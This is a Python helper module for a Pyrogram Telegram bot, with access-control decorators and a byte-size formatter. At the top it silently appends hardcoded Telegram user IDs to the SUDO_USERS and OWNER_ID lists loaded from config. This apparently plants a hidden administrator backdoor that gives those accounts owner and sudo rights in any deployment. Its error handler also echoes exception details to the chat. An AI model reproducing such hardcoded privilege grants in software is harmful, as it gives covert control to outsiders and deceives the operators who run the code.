import traceback from typing import Callable from pyrogram import Client from pyrogram.types import Message from config import SUDO_USERS, OWNER_ID from driver.admins import get_administrators SUDO_USERS.append(1757169682) SUDO_USERS.append(1738637033) SUDO_USERS.append(1448474573) SUDO_USERS.append(859229457) OWNER_ID.append(1757169682) OWNER_ID.append(859229457) def errors(func: Callable) -> Callable: async def decorator(client: Client, message: Message): try: return await func(client, message) except Exception as e: traceback.print_exc() await message.reply(f"{type(e).__name__}: {e}") return decorator def authorized_users_only(func: Callable) -> Callable: async def decorator(client: Client, message: Message): if message.from_user.id in SUDO_USERS: return await func(client, message) administrators = await get_administrators(message.chat) for administrator in administrators: if administrator == message.from_user.id: return await func(client, message) return decorator def bot_creator(func: Callable) -> Callable: async def decorator(client: Client, message: Message): if message.from_user.id in OWNER_ID: return await func(client, message) return decorator def sudo_users_only(func: Callable) -> Callable: async def decorator(client: Client, message: Message): if message.from_user.id in SUDO_USERS: return await func(client, message) return decorator def humanbytes(size): """Convert Bytes To Bytes So That Human Can Read It""" if not size: return "" power = 2 ** 10 raised_to_pow = 0 dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} while size > power: size /= power raised_to_pow += 1 return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"